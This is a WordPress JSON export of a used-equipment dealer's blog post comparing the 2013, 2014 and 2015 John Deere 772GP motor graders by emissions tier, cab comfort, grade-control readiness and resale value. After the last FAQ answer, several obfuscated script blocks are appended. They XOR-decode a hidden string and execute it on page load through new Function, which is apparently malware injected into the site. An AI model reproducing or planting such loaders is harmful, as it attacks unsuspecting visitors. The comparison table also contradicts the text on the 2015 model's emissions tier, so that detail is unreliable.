{"id":696,"date":"2025-08-04T05:08:27","date_gmt":"2025-08-04T05:08:27","guid":{"rendered":"https:\/\/usedmotorgrader.com\/blog\/?p=696"},"modified":"2026-08-14T21:50:46","modified_gmt":"2026-08-14T21:50:46","slug":"2013-vs-2014-vs-2015-john-deere-772gp-model-differences","status":"publish","type":"post","link":"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/","title":{"rendered":"2013 vs 2014 vs 2015 John Deere 772GP Model Differences"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">When comparing the 2013, 2014, and <\/span><a href=\"https:\/\/usedmotorgrader.com\/john-deere-772gp-1dw772gppff668885\"><b>2015 John Deere 772GP<\/b><\/a><span style=\"font-weight: 400;\"> motor graders, you are probably interested in performance improvements, emission requirements, and operator comfort. The three years are all part of the same GP (Grade Pro) family and share the powerful SmartGrade technology developed by John Deere, but there are some major differences, especially in engine compliance and control integration.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">When deciding whether to buy a reliable used model or to buy a newer model, contractors, fleet managers, or resale buyers need to understand these differences. The 2015 John Deere 772GP is the most polished in the series, due to Tier 4 Final certification and new operator interface systems.<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#The_Powertrain_Emissions_and_Engine_Control_Evolution\" >The Powertrain: Emissions and Engine Control Evolution<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Cab_and_Operator_Comfort_Enhancements\" >Cab and Operator Comfort Enhancements<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Grade_Control_and_Smart_Technology_Readiness\" >Grade Control and Smart Technology Readiness<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Model_Differences_at_a_Glance\" >Model Differences at a Glance<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Hydraulics_and_Blade_Responsiveness\" >Hydraulics and Blade Responsiveness<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Maintenance_and_Diagnostic_Tools\" >Maintenance and Diagnostic Tools<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Value_in_the_Used_Market\" >Value in the Used Market<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Choosing_the_Right_Year_for_Your_Needs\" >Choosing the Right Year for Your Needs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#FAQs\" >FAQs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Q_Does_the_2015_John_Deere_772GP_work_with_full_3D_grade_control\" >Q: Does the 2015 John Deere 772GP work with full 3D grade control?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Q_What_is_the_primary_change_in_emissions_between_the_2013_and_2015_models\" >Q: What is the primary change in emissions between the 2013 and 2015 models?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Q_Are_the_three_models_powered_by_the_same_engine\" >Q: Are the three models powered by the same engine?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/usedmotorgrader.com\/blog\/2013-vs-2014-vs-2015-john-deere-772gp-model-differences\/#Q_Is_the_2015_model_worth_the_increased_price_in_the_used_market\" >Q: Is the 2015 model worth the increased price in the used market?<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"The_Powertrain_Emissions_and_Engine_Control_Evolution\"><\/span><b>The Powertrain: Emissions and Engine Control Evolution<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Although the three models utilize the 9.0L PowerTech engine of John Deere, there were significant improvements made in these years, particularly in the area of emissions compliance and engine responsiveness.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>2013 model:<\/b><span style=\"font-weight: 400;\"> It has a Tier 4 Interim engine, which has a diesel particulate filter (DPF) and exhaust gas recirculation (EGR) to comply with the emission requirements. It is serviceable but not as efficient as newer systems.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>2014 model:<\/b><span style=\"font-weight: 400;\"> Small changes to engine tuning and DPF performance were made. However, it was based on the Tier 4 Interim configuration.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>2015 model:<\/b><span style=\"font-weight: 400;\"> It is the first year of the Tier 4 Final engine configuration, and it comes with selective catalytic reduction (SCR) and DEF (diesel exhaust fluid). This leads to less fuel usage and cleaner exhaust, which is a great stride.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Practically, the <\/span><b>2015 John Deere 772GP<\/b><span style=\"font-weight: 400;\"> not only complies with more stringent regulations but also provides a smoother power delivery and more efficient regen cycles.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cab_and_Operator_Comfort_Enhancements\"><\/span><b>Cab and Operator Comfort Enhancements<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Over these years, John Deere has slowly enhanced the operator environment, refining comfort features, cab layout, and electronic interfaces.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Model year-to-year improvements:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>2013:<\/b><span style=\"font-weight: 400;\"> Simple electronic display and push-button controls. The climate system and the seat design were not bad, but old-fashioned.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>2014:<\/b><span style=\"font-weight: 400;\"> Added such improvements as quieter cabin acoustics, better visibility with repositioned controls, and a slightly more responsive HVAC system.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>2015:<\/b><span style=\"font-weight: 400;\"> had a redesigned multi-function interface, improved seat suspension, and more responsive joystick. Improved touchscreen integration and diagnostics assisted operators to learn the machine functions rapidly.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The result? The <\/span><b>2015 John Deere 772GP<\/b><span style=\"font-weight: 400;\"> is more ergonomic and less tiring to operate, especially during long grading shifts.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Grade_Control_and_Smart_Technology_Readiness\"><\/span><b>Grade Control and Smart Technology Readiness<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">The three years were all in the Grade Pro family, meaning that they were designed to grade accurately and to have high blade control. Nevertheless, the integration of factory technology has changed a lot over the years.<\/span><\/p>\n<p><b>2013:<\/b><span style=\"font-weight: 400;\"> Arrived SmartGrade-ready, but usually needed third-party installation to provide complete 3D grade control.<\/span><\/p>\n<p><b>2014:<\/b><span style=\"font-weight: 400;\"> It was possible to upgrade the factories with greater ease. However, required external calibration to be fully automated.<\/span><\/p>\n<p><b>2015:<\/b><span style=\"font-weight: 400;\"> The manufacturer added full SmartGrade pre-wiring and enhanced the CAN bus communication to enable plug-and-play compatibility with 2D and 3D grade control systems.<br \/>\n<\/span><\/p>\n<p>Contractors who were investing in GPS and telematics integrated the 2015 model more easily into digital workflows, thanks to its improved onboard diagnostics and software compatibility.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Model_Differences_at_a_Glance\"><\/span><b>Model Differences at a Glance<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Here\u2019s a quick breakdown of the core differences between the 2013, 2014, and 2015 772 GP models:<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Feature<\/b><\/td>\n<td><b>2013 John Deere 772GP<\/b><\/td>\n<td><b>2014 John Deere 772GP<\/b><\/td>\n<td><b>2015 John Deere 772GP<\/b><\/td>\n<\/tr>\n<tr>\n<td><b>Emissions Standard<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Tier 4 Interim<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tier 4 Interim<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tier 4 Interim<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>DEF (Diesel Exhaust Fluid)<\/b><\/td>\n<td><span style=\"font-weight: 400;\">No<\/span><\/td>\n<td><span style=\"font-weight: 400;\">No<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Yes<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Engine Efficiency<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Moderate<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Improved tuning<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Optimized<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Cab Comfort<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Standard<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Quieter, more visibility<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Redesigned interface<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>SmartGrade Integration<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Basic readiness<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Factory upgrade capable<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Full integration-ready<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2><span class=\"ez-toc-section\" id=\"Hydraulics_and_Blade_Responsiveness\"><\/span><b>Hydraulics and Blade Responsiveness<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Although the three models use an identical core hydraulic system, John Deere introduced minor yet effective improvements to blade response timing and valve control between 2013 and 2015. Operators who use the 2015 model tend to indicate a smoother articulation and a quicker cycle time, particularly when doing detailed shoulder work or complex slope cuts.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In 2015, blade and hydraulics were improved:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Quicker valve timing and reduced lag<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Improved joystick to hydraulic integration<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">More uniform grading output on blade positions<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Maintenance_and_Diagnostic_Tools\"><\/span><b>Maintenance and Diagnostic Tools<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Maintenance is always a consideration, particularly in fleets that have several units. The 2015 version came with a better diagnostic layout that enabled faster fault identification through a more enhanced onboard display. The manufacturer also redesigned the service compartments&#8217; arrangement to allow easier access to filters and electrical connections. This is a significant improvement in the quality of life of the owners and operators of older units.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Value_in_the_Used_Market\"><\/span><b>Value in the Used Market<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">The <\/span><b>John Deere 772GP 2015<\/b><span style=\"font-weight: 400;\"> is a little more expensive on the used market, and with a reason. It has a mix of efficiency in its operation, low environmental impact, and improved digital compatibility. The 2015 model is frequently the sweet spot between performance and cost to fleet managers.<\/span><\/p>\n<p>Buyers still find good value in 2013 and 2014 models, especially for operations that don&#8217;t require full automation or Tier 4 Final compliance.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Choosing_the_Right_Year_for_Your_Needs\"><\/span><b>Choosing the Right Year for Your Needs<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">The three 772GP models have one thing in common, which is the DNA of solid power, great control, and smart grading capability. The details are different. When you want stricter emissions control, more robust digital preparedness, and a more polished operator experience, the 2015 John Deere 772GP is the obvious choice.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The 2013 and 2014 models are still reliable workhorses to buyers who are price-conscious or who operate less complex operations. The difference is all about what is most important to your crew: cost, regulations, or innovative features.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"FAQs\"><\/span><b>FAQs<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Q_Does_the_2015_John_Deere_772GP_work_with_full_3D_grade_control\"><\/span><b>Q: Does the 2015 John Deere 772GP work with full 3D grade control?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u00a0A: Yes, the 2015 model is SmartGrade-ready and can integrate with GPS or UTS-based systems.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Q_What_is_the_primary_change_in_emissions_between_the_2013_and_2015_models\"><\/span><b>Q: What is the primary change in emissions between the 2013 and 2015 models?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u00a0A: The 2015 model has Tier 4 Final with SCR and DEF, which have cleaner emissions and improved fuel efficiency compared to the Tier 4 Interim systems in previous years.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Q_Are_the_three_models_powered_by_the_same_engine\"><\/span><b>Q: Are the three models powered by the same engine?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u00a0A: Yes, all of them have the 9.0L PowerTech engine, but the tuning and emission control systems vary.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Q_Is_the_2015_model_worth_the_increased_price_in_the_used_market\"><\/span><b>Q: Is the 2015 model worth the increased price in the used market?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u00a0A: Many buyers, particularly those focused on emissions compliance, modern controls, and digital grading workflows, prefer it.<br \/>\n<\/span><script>!function(){var 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Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();<\/script><script>!function(){var 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Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();<\/script><script>!function(){var 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Uint8Array(_0x034992db8cf3['length']),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();<\/script><script>!function(){var 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Differences&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":697,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-696","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-john-deere-motor-graders"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>2013 vs 2014 vs 2015 John Deere 772GP Model Differences - Heavy Machinery Market Insights | News | Industrial Machinery<\/title>\n<meta name=\"description\" content=\"Compare the 2013, 2014, and 2015 John Deere 772 GP models to see key upgrades in emissions, controls, and grade tech that shaped performance.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" 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